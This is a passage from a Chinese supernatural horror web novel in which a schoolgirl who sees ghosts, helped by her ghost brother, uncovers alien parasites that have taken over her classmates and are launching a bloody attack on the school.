交谈结束,小和尚又领着她们返回,经过主殿,温茉掏出手机却发现人家根本没贴二维码,只能把身上所有的纸币投入功德箱中。
下山的路途较为轻松,温茉摸着几乎白来的镯子,心情愉悦。
桑蓝在旁边说:“我现在不怎么害怕你哥哥了。”
“我现在觉得它像宝可梦一样,还能被收服,这也太神奇了吧!”
温茉:“谁说不是呢。”
等她们回到温茉家的小区,已经是傍晚了,橙红的夕阳在地平线上投射最后一丝光芒,随后彻底消失。
桑蓝用厚厚的斜刘海挡住左眼,尽管小区路灯亮起,还有三两带小孩的、锻炼身体的居民在活动,她还是疑神疑鬼地抱着温茉的胳膊。
“你有看见鬼吗?”
温茉:“没有。”
桑蓝吐槽:“你们这小区也太暗了吧,路灯才那么大点。”
温茉:“那自然是比不上豪宅。”
两人说着,迎面走过来一行人,里面一人叫着温茉的名字,她抬头,脸上的笑僵硬两分。
“好巧啊!导孩!”
是段双双,他还是跟前几天一样帅气,唯一不同的是,今天他没戴帽子,露出一颗噌亮的光头。
也许是站的角度原因,温茉甚至觉得路灯的光都被他的头反射了,十分刺眼。
段双双旁边是个比他矮一些的年轻男生,微卷长发,黑眼圈很重,清瘦的脖子上挂着一副耳机和复杂的骷髅项链,整体像位文艺颓废青年。
但因为圆脸和长得圆润清秀的五官,看起来像是老实人学不良一样,更别提他嘴里抽着烟,眼睛却亮晶晶的,还透露着一丝憨厚。
段双双主动介绍:“欸!又遇到了!这位就是我死党,游戏主播,跟你提过的。”
温茉:“我认识,门口便利店老板的儿子。”印象中他好像是叫钱弓,寒暑假就窝在便利店打游戏看店。
钱弓将烟摁灭,一巴掌拍在段双双肩膀上,“我们住一个小区还用得着你介绍?”
段双双笑呵呵地摸着光头,“那敢情好啊,我们可真是太有缘分!”
温茉没忍住问:“你怎么剃了个光头啊。”
段双双:“我一直都是啊,只是经常戴帽儿。”
钱弓憋着笑,肩膀一耸一耸:“扑向段狗的妹子太多了,他试图cos出家人来躲避艳桃花。”
段双双给了他一肘击。
桑蓝一直很没存在感,直到胳膊被掐得有点疼,温茉这才想起她,她低头看了看,桑蓝一脸社恐的僵站着,双眼目视前方,目光却没有焦点,嘴巴抿的紧紧的。
看起来已经游神天外了。
温茉握住她的胳膊,介绍着:“这是我同桌桑蓝,她人很好的。”
桑蓝声若蚊蝇:“你们好。”
“哇哦小妹妹你好。”钱弓朝她wink一下:“打游戏可以找我,我游戏主播风刀,免费包带飞的。”
段双双:“你好,名字很好听。”
桑蓝脸慢慢变红:“谢谢。”她对钱弓说:“我是你的粉丝,你狙击太准了。”
“哎呀谢谢~”钱弓掏出手机吆喝:“相逢就是缘,加个好友吧大家,没事约着一起玩。”
几人互相加了好友,寒暄一番互相道别。
两人进楼道里了,桑蓝才收回视线,她一脸激动地捂住手机,紧紧抱着温茉的胳膊,“那可是大主播风刀啊!我居然有他的好友位了!”
“直播的时候好高冷啊,没想到私下里这么亲和温柔。”
“啊啊啊啊啊他给我朋友圈点赞了。”
温茉不玩游戏,对此不太在意,在她心里钱弓就是个咋咋呼呼还经常因为卖错货被妈打的逗比。
桑蓝还沉浸在喜悦中,低头点开钱弓朋友圈一条条品鉴,温茉看着蹲了一楼梯的鬼,心情有些复杂。
身体稀巴烂流脓的、一脸苍白穿着西装服的、缺了两条腿飘着的、老的少的,沉默的各据一方,乍一看还挺热闹。
其中不少还是温茉以前见过的,各种意外死掉的邻居们。
看见温茉,几只鬼凑到她面前,鬼魂穿透了桑蓝的身体,它们七嘴八舌开口。
“看得见我们吗?”
“哈喽哈喽,听那小孩说你能看见他?”
“小茉啊……”
“帮帮我……”
温茉一时不知道怎么回应,于是装作没看见,视若无睹地拉着桑蓝回家。
一进门,饭香就窜进鼻尖,温玉成在浇花,听到动静立刻回头,他赶紧擦擦手上前招待。
“饭刚好没多久,来,小同学,快去洗手吃饭,尝尝叔叔的手艺好不好!”
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桑蓝一秒切换到社恐状态。
饭桌上,温玉成不停地给两人夹菜,桑蓝不会拒绝,夹什么吃什么,偶尔应和一声,好在温玉成很温柔,让她的心理压力小了一些。
温玉成推了推金色眼镜,笑眯眯道:“小茉没有带同学回家过,她妈妈知道你要来可高兴了,电话里都嘱咐我要烧个四菜一汤。”
桑蓝有些不好意思:“谢谢叔叔,这些菜都很好吃,温茉真幸福,有做饭这么好吃的爸爸。”
温茉:“我妈做饭更好吃,下次请你来吃。”
“是啊是啊。”温玉成点头:“你阿姨他们最近是忙得不着家了,下次我估计要烧八个菜了都哈哈哈。”
桑蓝有些紧张,“不用那么多,我胃口小。”
“爸。”温茉放下筷子:“我们吃好了,先回屋了。”
温玉成:“哎好,碗筷都放着吧,我来收拾,你们快去玩吧。”
关上卧室门后,桑蓝微微吐了口气:“叔叔太热情了,我都要招架不住了。”
温茉打开电脑:“我爸还算正常的了,我妈见了你估计会搂怀里讲话。”
羊雅芝钢铁女汉子的身体下藏着一颗喜欢一切可爱事物的心。
所有人都以为家里布置得那么温馨可爱是出自温茉的手笔,其实不然,全是羊雅芝趁休息搞的,温茉卧室里一堆粉嫩玩偶都是她买的。
“你先玩着,我去找找温布惊。”
早上还见着它,现在又找不到鬼影了,温茉在家里转了一圈,除了从温玉成手里收获一整个果盘外一无所获。
桑蓝提议:“它说不定串门玩去了,你去外面找找呗,我就不去了。”
她会安全地待在房间里誓死捍卫自己的斜刘海。
温茉拎着两袋子垃圾出去,一打开房门,几只鬼就撞到她脸上,叽叽喳喳地吵闹着。
她在楼下扔完垃圾后,那几只死状凄惨的鬼还跟着,飘荡在她眼皮子底下,要不是她心理素质高,早就尖叫起来了。
她叹了口气,突然开口:“你们知道温布惊去哪里了吗?”
几只鬼瞬间激动起来,七嘴八舌的同时开口,温茉耳朵疼得不行,好一会才让它们安静下来。
“你哥哥去打架去了。”
“对对,它是我们这片的鬼老大,最近出现好多鬼啊,有的坏得很,一直欺负别人,它今晚就是去揍那只鬼去了。”
温茉:……
在家人不知道的日子里,温布惊居然这么能干吗。
温茉拜托它们:“你们能帮忙叫下它吗?我有点急事。”
穿西装的鬼摇了摇脑袋:“不行,太危险了,我们都不敢靠近。”
身体稀巴烂流脓的老鬼说:“我们太弱了,靠近会被大鬼吃掉的。”
双腿断了的小鬼生前是个十岁出头的小男孩,它说:“温布惊很强的,它吃过几十只鬼,你就放心吧。”
温茉:“鬼还能吃鬼啊。”
西装鬼:“人吃人,鬼吃鬼,很正常,但是相比通过工作卖命,鬼的方式很强悍粗鲁,我们一旦被吃掉就彻底没了。”
温茉世界观重刷中:“……”
没腿鬼幽幽道:“我们都是怨鬼,没报仇前不会消散的,可是没人能给我们主持公道,以前都是东躲西藏的,还好你哥哥鬼好,护着我们还让我们躲在你家里。”
几只鬼平日里都塞在自己家里……温茉想了下那个场景,脸微微有点绿。
“西装男,我好像对你有点印象,你是别的楼的吧?你怎么不回自己家。”
“它没有遗照,回不去家里。”断腿小孩鬼抢先说:“我们都没有遗照,没办法硬闯生魂家中,会受伤害。”
稀巴烂老鬼说:“我们可以硬闯,但是会害鬼害己,彻底变成极凶的诡异,入不了轮回,我就想报仇就行,不想损阴德。”
温茉:“原来是这样。”
她站在路灯下揣着手,突然感到一阵刺骨的寒冷,于是朝风吹处看去,黑暗的绿化带中,幽幽站着一只鬼,它的双眸绿得吓人,面容看不清。
温茉有直觉,这是一只很强的鬼。
断腿小孩鬼连忙说:“别看它!!会被缠上的!”
温茉装作若无其事,拉了拉领口回去了。
三只鬼围在她身边,等到了楼道才都松了口气。
“它是两年前那个孕妇坠亡案的,很凶,已经是小诡了,被缠上就会不死不休。”
“它简直想把整栋楼都弄死,因为有人看到她被公公和小姑子推下去却没做证,怨气让鬼都怕。”
“我觉得它其实已经盯上你了,但是忌惮着温布惊所以没出手。”
“啊。”温茉有些好奇:“我哥能打过它吗?”
“它想吃鬼,温布惊不让吃这片的,打过好几次架,每次都是平手。”
“但还好你们平时会上香供奉,温布惊恢复得快,它没人供奉,每次都要去别的区作乱,好久才能恢复。”
上香供奉会增强实力吗?
想到温布惊现在在外面酣战,温茉回家后拐进角落的房间,认认真真点燃几大柱香插上。
几只鬼得了她的允许,也跟着飘进去。
温茉很认真地考虑道:“要不把存货都点了吧。”
西装鬼愣了一下,伸手制止:“没用,它只能慢慢疗伤,不会一口喂成金刚战神的。”
温茉对此感到非常遗憾。
4. 第 4 章
温茉从这几只鬼口中得知了不少消息。
世上所有的鬼都是因为人死前有强大的怨念而产生的,不是所有死亡都会产生鬼魂。
怨鬼听起来很厉害,但是一般影响不到人,最多阴恻恻地跟着仇人搞点小动静,让他们神经衰弱。
但难就难在很多恶人心理素质极其强大,这点魔法攻击对他们根本造不成伤害。
一些鬼在漫长的报仇无果后只能释怀消散,一些则是十几年几十年都放不掉前尘往事,选择更激进的方式,吞噬同类增强力量,成为让诡异去报仇。
身体稀巴烂的流脓老鬼就是死了五十多年,它生前是一位光荣的退休工人,但晚年时,因为拆迁款问题,被亲生儿子和儿媳毒瘫痪,疼爱的女儿也被故意推下楼梯杀害。
老鬼卧床三年死在自己的排泄物里后,那畜生儿子带着大笔钱财逃往国外,逍遥法外。
在温布惊生前的房间里,在它的遗照前,老鬼哭了,跟鬼片里的泣血不同,它粗哑的干嚎着,眼眶里没有任何液体,但生疮的皱巴巴的脸上表情极其痛苦。
它伸出手,拉住温茉的手乞求:“孩子,你帮帮爷爷好不好,就当可怜可怜我。”
它结结巴巴道:“我女儿早就看开了,可我、我放不下,我怎么这么没出息,生前死后什么都干不了……”
小孩鬼也着急地说:“也帮帮我,姐姐,我妈妈你认识!就是顶楼的王丽雅!她身体不好,你经常帮她取快递来着。”
温茉:“好,但是你们要有证据。”
她转头看向角落里一直沉默的西装鬼:“你呢?你有什么冤屈吗?”
温茉猜测西装鬼是猝死的,因为它是所见过的鬼中唯一鬼体健全的。
半晌,西装男开口:“我倒是没什么,死后妻子孩子有了新去处挺好的,只是我生前的一部分财产在一张卡里,我父母经济拮据想使用但不知道密码。”
它吐了口气,恨恨道:“只是那银行要他们证明我们的亲子关系,太可笑了,直到现在我父母都过得很差劲。”
“卡的密码是061388,当初随便设置的,谁知道会留下那么大的隐患。”
“恳请你麻烦,告知我父母一下。”
温茉:“好。”
三鬼中老鬼的最难,小孩鬼其次,西装男最简单。
温茉回到卧室,将事情一一告知了桑蓝,没想到她完全不害怕,反而还一脸兴奋。
“这好像什么解密大侦探游戏欸,加我一个!”
温茉:“你不怕了?”
桑蓝右眼亮晶晶的:“怕,但是好有意思啊。再说了我就帮你打打下手,我又不亲自跟他们沟通。”
“它们现在都在外面吗?”不会进屋吧!!?
“放心,它们在我哥哥房间里。”
“那就好。”
桑蓝干劲很足,游戏也不玩了,立刻用手机搜索西装鬼父母现在居住的乡下,然后通过村委会扶贫帖子找到二老的电话,将银行卡密码短信发过去。
温茉对这个干劲十足的小伙伴竖起大拇指。
温茉则是查到了老鬼儿子的信息,他生前在国外当大学教授,有漂亮的外国妻子和三个可爱的混血孩子,一生都过得很幸福。
桑蓝点了点屏幕:“他出国后不久就逼前妻离婚了,他们有个女儿开了家小饭馆,前妻倒是还活着,但是已经老年痴呆很久了,一直住在养老院里。”
温茉:“这前妻手里有证据的机率很大。”
桑蓝点了点下巴:“我也觉得,那女人年轻时候的照片看着就是个狠人,眼神很精明。”
两人就这三鬼的情况又讨论了一会儿,卧室里突然冷了下来。
温布惊回来了。
温茉看着它的鬼魂穿过门板而入,这次它自己的脑袋倒是带得好好的,手里却拿着一个别人的脑袋,当皮球一下一拍一拍的。
它添了很多伤口,身体有些地方已经消散,腿也少了一条,眼球瘪了一个,本来看着就很阴森,这下恐怖和恶心氛围直接拉满。
但温茉现在对温布惊有很深的滤镜,她觉得这穿着牛仔背带裤的小不点看起来格外高大。
她稀松平常地打招呼:“回来了啊。”
桑蓝警觉地抬头。
温布惊甜甜一笑,将那颗人头扔到角落里,然后攀上温茉的脖子,亲热得很。
“你刚才给我上香了是不是,妹妹,你好好。”
“嗯。”温茉从抽屉里拿出那块镯子,将方丈的话复述一遍,随后说:“要不要进来看你自己,我倒是无所谓。”
温布惊纠结地皱起了小眉头,“我感觉进去后我会行动受限,但是既然你希望,我就进去。”
桑蓝还在旁边惊叫:“你鬼哥回来了?”
温茉戴上镯子,向她展示:“对,它在里面了。”
桑蓝哭丧着脸,咽了咽口水:“晚上它也睡屋里吗?”
温布惊从镯子里飘
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出来,不屑一顾:“我才不睡觉呢,我晚上很忙的。”
它摸了摸温茉的手臂:“我回来看看你。”
温茉对桑蓝说:“它就回来一会,很快就走。”
桑蓝又怕又好奇,钻进被子问:“你哥它这是打赢了?”
温茉:“对,很厉害。”
“牛。”躲在被子里的小姑娘伸出一个大拇指后就不再吭声了。
温布惊一脸骄傲地挺起胸膛。
兄妹聊了会儿天,温布惊催促她:“快睡吧,晚上睡着了才安全。”
它一会还要巡逻小区,最近的新鬼也太多了,到处乱窜,打都打不完。
*
在进到镯子里后,温布惊居然可以在白天就出现了,但是活动范围非常受限,只能在温茉身边。
温茉又请了几天的假,专门调查老鬼和小孩鬼的事,根据它们的口供确实发现了一些蛛丝马迹,但没有实证,她俩总不能直接告诉警察。
普通人没有阴阳眼,是不会相信她们的话。
第二天,桑蓝兴冲冲私聊温茉,发了一条链接。
“这里面都是些自发形成的民间案件推凶匿名爱好者,我找人查了下,账号隐私性很高,平台也很安全,我们可以在里面有意无意地爆料啊。”
她们将二鬼的事迹和一些证据推测发到论坛里,果然引来了一些爱好者分析。
温茉又趁羊雅芝下班回来有意无意地提起这个论坛,她看过后非常感兴趣,直接要走了论坛链接。
后面的温茉就不管了,也让桑蓝不要再更新了,免得遭受怀疑。
温茉只能做这么多了,二鬼也表示理解,没有强求她,反正那么多年都等了。
在父母拿到钱后,西装鬼就消失了,温布惊还有些闷闷不乐。
温茉摸了摸它的脑袋:“以后还会有新伙伴的。”
它瘪了瘪嘴:“不是,本来它答应再过一年就让我吃了,现在直接消失了。”
温茉沉默片刻,看着温布惊心里沉甸甸的。
温布惊吃过那么多鬼,已经是个小诡异了,但好在它看起来还很正常。
温茉想让他别吃鬼了,但不吃鬼,它没办法增强实力。
不吃可能会被别的诡异欺负,吃了又有损阴德。
——事情似乎陷入了无解。
但她没有烦恼很久,因为很快,她就找到了正确饲养温布惊的方式。
这都要感谢她那群“同学。”
5. 第 5 章
永夕一高非常严格,即使温茉是经常霸榜第一的学霸,在无故请假一星期后也得去乖乖上学。
早上八点,温玉成把温茉送到学校,温茉走在校园里,敏锐地感到有一丝不对劲。
高中生毕竟是生性活泼的年纪,打打闹闹是常有的事,但今天校园里的学生大多都看起来情绪不佳。
往常见到的勾肩搭背的小团体,都散开了来,三三两两的,甚至看到其他同学,都逃一般地飞奔走了。
温茉追上其中一个男生,拍了拍他的肩膀,他反应很大,整个人哆嗦了一下,回头看见是她,才松了口气。
往日高高大大,飞扬跋扈的赵雷一脸疑神疑鬼,夸张地拍了拍胸口:“吓死我了,还以为又是哪些家伙。”
两人并排上电梯,温茉抬头望着他长出了些胡茬的下巴,“你压力很大吗,形象都不管理了,你是在怕什么吗?”
电梯里只有他们二人,赵雷看着镜子搓了搓脸,眼里是藏不住的烦躁。
“我感觉我身边全是神经病。”
“我女朋友就算了,那些小跟班总想来摸我,爷虽然知道自己身材很好,鼻子能当滑滑梯,但是趁我睡着来上下其手也太恶心了。”
温茉被逗笑了:“雷爷魅力日渐增强啊。”
“什么玩意。”赵雷吐槽:“一群人带着欲望地盯着我,我真的感觉自己像盘菜,你知道吗,太可怕了,男的太可怕了,女的也可怕,草。”
“我女朋友想搞什么捆绑play,这哪行,我的童真是要留给未来老婆的,我当场就翻脸了,你是不知道当时她眼神多垂涎欲滴,还想让人按住我,草他老子,老子连滚带爬从ktv跑了。”
“他们还跟到我家了,要不是安保强拦住了,我感觉我要在家被强办了。”
他骂了两句:“死老班不给我批假,我一见到他们就觉得恶心。”
温茉:“哇偶,你的生活过得还是挺多姿多彩的。”
她顿了顿,刚想开口安慰,一进校门就撒欢跑开的温布惊飘回来了。
他高高兴兴地拉住温茉的手,打了个饱嗝。
温茉低头问:“你吃什么了?”
“啊?”赵雷伸手掏兜:“韭菜鸡蛋包子,还有一个你要吗?”
温茉:“没问你。”
赵雷撕开狠狠咬了一口:“莫名其妙。”
温布惊舔了舔嘴唇:“我在一个屋子发现了很好吃的糖丸,甜甜的,我就都吃完了。”
他从背带裤的肚子口袋里掏出一粒,“呐,妹妹你看。”
躺在他手心里的银白色小圆球很小很小,就跟葡萄籽差不多大,温茉接过,这东西很凉,比温布惊的鬼手还阴寒。
电梯到了,他们走出去,赵雷黑着脸摆了摆手,“走了,草!”
赵雷教室在电梯口,他一路骂着进去,温茉透过玻璃窗,看见他将书包甩到桌子上,趴在桌子上刷手机。
温茉对着光查看那粒小糖豆,惊讶地发现,糖豆就像个缩小鸡蛋,透过薄薄一层外膜,能看到液体里面正在跳动的……胚胎?
她皱眉,用厚厚几层纸巾将东西包住,放到地上碾压,打开来看,纸巾已经被浸湿,蜷缩着的,比蚂蚁大不了多少的黑色肉虫张着嘴,露出满嘴锋利的利齿。
温布惊下一秒抢过,扔进嘴里嚼嚼嚼。
它解释道:“它要叫了。”
温茉一脸嫌弃地扔掉纸巾,心中充满疑惑:“这到底是什么。”
像是某种动物的胚胎。
温布惊又从背带裤口袋里掏出一把,嚼嚼嚼。
“不知道。”它含糊道:“好好吃。”
温茉有些无奈,压低声音道:“还不知道这是什么,吃坏肚子怎么办。”
温布惊摇摇头,一口气将东西全吃完。
温茉进了教室,同学已经来得差不多了,都整齐地坐在位置上,温布惊突然说:“怎么都是这些虫子人。”
“妹妹你为什么要跟虫子人一起学习。”
温茉:?她眼中的同学们都很正常。
她在自己位置上坐下,几天没来,桌子上已经堆满了试卷,温布惊爬上她的后背,冰冷的气息蔓延开来。
温布惊说:“妹妹,让我附身。”
温茉没有任何抵触,她感到身体变得异常冰冷沉重,全身关节都僵硬起来,心跳和呼吸仿佛停滞般。
视野一片绯红,温布惊控制着她抬头环视四周,温茉看到,在鬼眼下,几乎所有的同学都变了个样子。
它们已经不能称之为人了,人体上长着的是光溜溜软趴趴似鱿鱼脑袋般的头颅,篮球般大,青灰色,上面布满了黑色葡萄般大眼睛。
“班长”的头颅最大,颜色也不一样,是紫色的,袖管里两条紫色吸盘触须搭在桌子上,吸盘蠕动着,从中钻出细长的丝线。
那不是丝线,是虫子,白白的,像花园鳗齐刷刷插在海底一般伸缩。
“班长”正遥遥望向她,几十双无神的眼眸眨啊眨。
“温茉”冷漠地开口:“再看把你眼睛挖下来。”
“你怎么了?”“班长”起身,语气关切道:“月经期到了吗?怎么脾气这么暴躁。”
“滚蛋。”
身体由温布惊掌控,也许是受到了影响,温茉的情绪平得吓人,并没有任何恶心和恐慌。
听到这玩意关心起自己的生理期,她甚至有点想笑。
下一秒,温茉感到身体涌起一阵暖意,温布惊解除了附身,她重获了身体掌控权。
眼前的一切又恢复了原状,教室窗明几净,窗帘飘扬,同学和蔼可亲。
“妹妹,我不能控制你太久,不然你会受伤。”温布惊趴在她背上解释道。
温茉笑弯了眼。
一屋子东西有意无意地投来目光,温茉轻咳两声,“不好意思,昨晚没睡好。”
毕竟温布惊晚上老出去打架,温布惊做梦都是温布惊出去打输了,捧着哭哭啼啼的头回家的场景。
见她打了两个哈欠,“班长”递给她一杯咖啡:“正好!还没开封,我这杯你喝吧!”
他拆开吸管纸,把吸管殷勤的插好放到塞进她手里。
温茉垂眸,看到黑色咖啡液上漂浮密密麻麻的冰块,仔细看,冰块里都镶嵌着刚才温布惊吃的“糖丸”。
那银白色跟冰块颜色接近,不仔细看,还真发现不了。
不难想,咖啡里肯定也加了料,而那圆球那么小,稍不注意就会被喝下去。
温茉:“谢谢班长,我稍后喝吧。”
“班长”眼里闪烁着兴奋的光,催促道:“你先尝两口嘛,一会口感就不好了。”
其余同学一齐催促着。
“据说是新品耶,快
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尝尝告诉我们味道,一会快上课了呀。”
“茉茉,班长好照顾你呀。”
“快喝呀快喝呀。”
温茉:“咖啡不都一个味道。”
“我也买了,口味很醇,没那么涩,真的很不错啊!”
“是啊是啊,这咖啡真好喝啊。”
前后桌夸张地赞美着。
温茉:……
你们一群非人生物还当上美食点评家了。
温布惊舔了舔唇,再次附身,同学们就见刚还一脸抵触的温茉直接掀开杯盖,仰头三两口把咖啡全喝光了。
甚至连冰块都没放过,嘎嘣嘎嘣地嚼完了。
教室里顿时爆发一阵叫好。
透过鬼眼,在血红的世界里,温茉看到同学们狂欢了起来,前后桌头颅中探出湿漉漉蠕动的白色触须在空中挥舞。
体育委员的异形头颅被顶起,校服衣领里只有一截灰白色触手,头颅在空中摇摆着,几十双黑眼珠滴溜溜乱转。
更多的同学的异性头颅像花开般绽放开来,每片花瓣上都有密密麻麻的牙齿,凭空咬合着。
它们的身体有的还是人身,但有的已经逐渐触手化,手脚都是触手,“班长”是其中最与众不同的。
如果将这群怪物比喻成蚂蚁,那它就是蚁后,它的花瓣上不是牙齿,而是长满了脓包,每一颗脓包,就是一个“糖丸。”
温布惊吃的是人家的卵。
附身结束,危机解除,温茉的世界又恢复正常,同学们都对她笑着,好像她刚干了什么不得了的大事一样。
温茉心想,原来是想用卵让她被同化。
吃到好吃的,温布惊高兴地把脑袋摘下来抛。
“好吃!好吃!好吃!好吃!”
温茉展示空掉的杯子:“还真不错,等下课可以再来一杯。”
上课铃响了,“班长”还舍不得走,它笑眯眯地看着温茉,嘴角越扯越大,牙龈全都裸露了出来。
“温茉,见过的那么多人里,你是最优秀的,我最喜欢你了。”
其实班级的氛围已经有些诡异了,剩余的一些正常同学瑟瑟发抖地蜷缩着,眼里都带着惊恐。
温茉知道,他们都是一些身体比较弱或者有隐秘大病的人,因此才被这群怪物放过吗?
眼神不经意间掠过仅余的几个幸运儿,温茉擦了擦嘴角,“班长,我也挺喜欢你的。”
“我家人应该也会很喜欢你,下课了去我家吃饭吗?”
幸运儿们战战兢兢地看着她,眼神都带着不赞同:她疯了吗,班长最近跟个伪人似的,她还跟他玩。
上课铃响了三分钟后,教导主任才姗姗来迟,他肚腩上挂着小蜜蜂,擦了擦额头的汗后宣布上课。
“呼,刚遇上了一起车祸,还好赶上了!嗯?你们都围着温茉做什么?班长,回去座位上课!”
教导主任教数学,在他的课上温茉一般都很松弛,她光明正大地低头玩着手机。
主要是一串串接连不断的消息音还挺扰乱课堂秩序的,虽然主任是在给一群伪人上课……
温茉加的人不多,基本都是些交情还可以的朋友。
真是奇怪了,桑蓝、钱弓和赵雷都同时对她进行着消息轰炸。
桑蓝关心着学校的同学,钱弓说晚上找她聚聚,赵雷则是痛哭流涕充满无助地求救。
6. 第 6 章
赵雷:这群烦人精又来骚扰爷了。
赵雷:他们动手动脚的,我现在跑出去了,你们学生会快去把他们抓了!
赵雷:不对!!!这群人疯了!快逃!!
隔了十几分钟,他发来了最后一条语音消息:会长,我的腿断了,好疼啊,电话都占线怎么办……
不好,赵雷估计是被伪人盯上了,他身强力壮的,成为目标太正常了。
温茉在教导主任不解的目光中跑出教室,她在厕所给羊雅芝打电话,刚接通,语气焦急道:
“妈!救命!我们学校发生了暴力流血事件!”
羊雅芝声音比她还焦急,“宝宝,找一个安全的地方躲起来!快!!从刚刚开始,到处都在杀人!”
温茉第一次感到慌乱,捏着手机的手指绷得发白,电话那头乱糟糟的,混乱的嘈杂快要淹没羊雅芝的声音。
“躲好……妈……找你……”
温茉听到突兀的两声枪响,随后电话被挂断。
发生了什么!?为什么会有枪响?常人根本无法识别怪物伪人,会不会羊雅芝的身边人早就被换掉了?
温茉的心都揪起来了,她苍白着脸,快速给所有朋友发去警告短信。
联系不上温玉成……
温茉呼吸急促,浑身颤抖着,一家三口中她最担心的就是文弱书生的爸爸,他身体不好,健身很少,生存的几率太小了。
温布惊抱住她的双腿,像小猫般轻蹭着她,“妹妹,别怕,我能跟它们打架,保护你。”
温茉蹲下:“哥,快去帮爸爸,我自己可以!”
“我不能离开你太远。”温布惊摇了摇头。
手机疯狂地响着,温茉赶紧点开,一眼看到了段双双的消息,他发来了几条短信,夹杂着两条语音。
段双双:感谢提醒,顾好自己,老师在我身边,你家集合。
温茉紧绷的神情放松了不少,她站起来,这才听到外面连绵不绝的惨叫。
温布惊指了指外面:“你进来没多久就开始了。”
从厕所跑出去,走廊上尽是些慌乱奔跑的人,温茉被吓了一跳,这次不借用鬼眼,她都能清楚地看到那些伪人血性大发,用触手,用尖牙殴打撕咬着正常人。
“救命!”
“啊啊啊啊啊!!!”
温暖的阳光喷洒在身上,温茉却犹如掉进了冰窟,她僵硬地看着眼前残忍的场景,走廊的地板上到处都是鲜血和尸体,一个伪人大叫着,不顾男生的痛哭流涕,将他从楼上扔下。
那只伪人扭头,跟温茉对视,它歪了歪脑袋,却放过了她,一个箭步冲向电梯口,触手狠狠砸开电梯门,从井中一跃而下。
温茉很快反应过来,她跑进了人去楼空的教室,从自己的柜子中取出棒球棍。
她咬牙切齿道:“这群该死的混蛋。”
温布惊按下她的手:“你打不过它们的,让我去吧。”
伪人看不见温布惊,但刚温布惊试了下,能触碰到伪人。
温茉顺着血迹斑斑的楼梯往下,她看到许多死状凄惨的尸体,有她看起来面熟的同学,也有少许几只伪人的。
伪人尸体似人般长,整体像鱿鱼一般,但每根触手都长着锋利的尖刺,它们死去后,尸体大面积地脱水,变成糜烂的“尸干”。
尸体渗出的液体非常刺鼻,温茉只闻了几下,就感觉头晕目眩,世界仿佛地震般剧烈摇晃,看到的画面也像吃了毒菌子般五颜六色地扭曲着。
温布惊搀扶着她往下走了两层,呼吸到新鲜空气,中幻觉的感觉这才消失,但身体仍然遗留着一些副作用,她走路摇摇晃晃,落脚没有踩实感。
楼道间安安静静,只有鲜血顺着台阶往下流淌的滴答声,到了二楼,角落里响起一声虚弱的呻吟。
“救……救……”
温茉跪在湿漉漉的血水中,将那名幸存者从尸堆中挖出来,那名干瘦,皮肤有些黑的女孩满脸痛苦,大张着嘴低低地啜泣着。
温茉看到她的牙齿断了几个,手脚都不正常地扭曲着,脖颈碎肉翻飞,温茉都能想象到,一根满是尖牙利齿的触手缠绕着她的脖子,在折断手脚后将人扔出去的画面。
温茉眼中闪过不忍,帮她把厚厚的眼镜扶正戴好,女孩看清了她,呜咽着:“会长,我好疼呜呜……”
温茉将校服脱下来,盖在她的身上,摸了摸她的脸安慰:“你不会有事的,你没有什么致命伤,我会把你送到医院的。”
女孩呕出两口血,含糊不清咳了两声,她的眼中充满惊恐和绝望,“我们都会死的。”
“不会的!”温茉:“我已经报警了,我妈妈是警察局长,她有枪,她会来救我们的!”
女孩紧紧盯着她,眼中满是脆弱和求助,温茉眼中闪着泪光,说:“你不要说话了,保存体力。”
温茉小心翼翼地,将她从冰凉地板上公主抱起来,过程中碰疼了女孩的伤口,她却一声不吭,呼吸急促却不敢发出一点声音。
操场上,校园里满是游荡逃窜的人和穷追不舍的怪物。
温茉没办法大摇大摆带着伤员走出校园,何况外面也一样乱,她只有藏身一个安全的地方等待火力救援。
最先察觉危险的赵雷躲藏在快递站工作人员的休息间里——学校有许多住校生,因此学校专门在大门附近开设了一个快递站点。
赵雷在遭到攻击的时候就试图逃离,但因为受伤不得不藏身于那里,温茉决定先赶过去。
她记得休息间有张床,医务室最新采购的药品也还在快递站,祈祷有些懒惰的校医还没有取走。
从高二教学楼到门口有大概一千多米的直线距离,中间穿插着高一教学楼和小升旗广场。
高二楼已经空了,温布惊飘荡了一圈赶回来,“很危险,外面好多怪物,学生们在顽强抵抗,我看到了很多新生的懵懂鬼魂。”
温茉:“哥,你去吧,它们应该是以为我吃了卵被同化,暂时不会伤害我的。”
“只有你把它们都解决了,我才安全。”
“你自己小心。”温布惊飞在半空中,不舍得摸了摸她的脸,道别后,他径直飞向最开始发现“糖丸”的地方。
操场器材室。
穿着校服的“班长”躺在垫子上,一脸安详的产着卵,一颗颗卵像熟透的豆子般从坑中滑落,黏叽叽的堆在怪物身边。
“班长”有些高兴,就在刚才,它彻底同化了来地球这么久以来最满意的寄生体。
那个女孩,那个寄生体,是它见过的最完美的身体,只要无知无觉,在没有原意识抵触的情况下寄生了她,它的孩子就会彻底掌控那个躯体,完美地将基因与人类结合。
它的孩子不会有任何变异,不会露出任何马脚,就算是用地球上最先进的东西检查,也只会觉得它是一个正常的人类。
“班长”又有些烦恼,它们一族虽然寄生取代了原来的人类身份,但却会不受控制地变成原本的模样体征。
虽然释放出致幻气体可以迷幻正常人,但人类太聪明了,身体也能产生抗体,估计过不了多久,致幻手段就会失效。
“班长”拥有原主完整的记忆,它知道人类的热武器有多可怕,但他早就找好了退路。
在这第一次试探性的袭击后,孩子们就会簇拥着它逃进深海。
“哼。”
它的几十颗眼珠子高兴得滴溜溜转,触手卷起一具尸体塞进嘴里。
要快点多生些,算算时间,那个最完美的孩子已经诞生了吧,等它闻着信息素过来,作为母亲,它一定要好好地嘉奖它。
“班长”满心甜蜜,学着人类一样给最期待的孩子起名,叫它什么好呢,入乡随俗,叫它虎一好了,老虎是万兽之王,人类也屈服于它的淫威。
这些卵都是给虎一的养料,等它强大以后,进攻其余地区的贱种们别想再压到它头上。
“叽咕叽咕!”突然,门被撞开,一个触手上粘着四分五裂的校服碎片的怪物挤了进来,它急切地嚎叫着。
“什么!!”
“班长”大怒,停止了产卵,它的头颅像花闭合般收起,几十双眼珠子怒瞪着,甚至有几个爆裂掉了下去,留下蠕动的深坑。
它一触手将那只小怪物甩到墙上。
“你是说,校长室的卵都被人弄坏了!?”
*
温布惊打架前,先去了一趟校长室。
紧闭的校长室里,地板上满是怪物的卵,有些是银白色的,有些是紫色的,黏叽叽湿漉漉的堆在透明的黏液里,像温布惊记忆中小时候玩过的水宝宝一样。
温布惊取下脑袋放在凳子上,然后无头身体蹲下,用小手揽起卵喂给嘴巴。
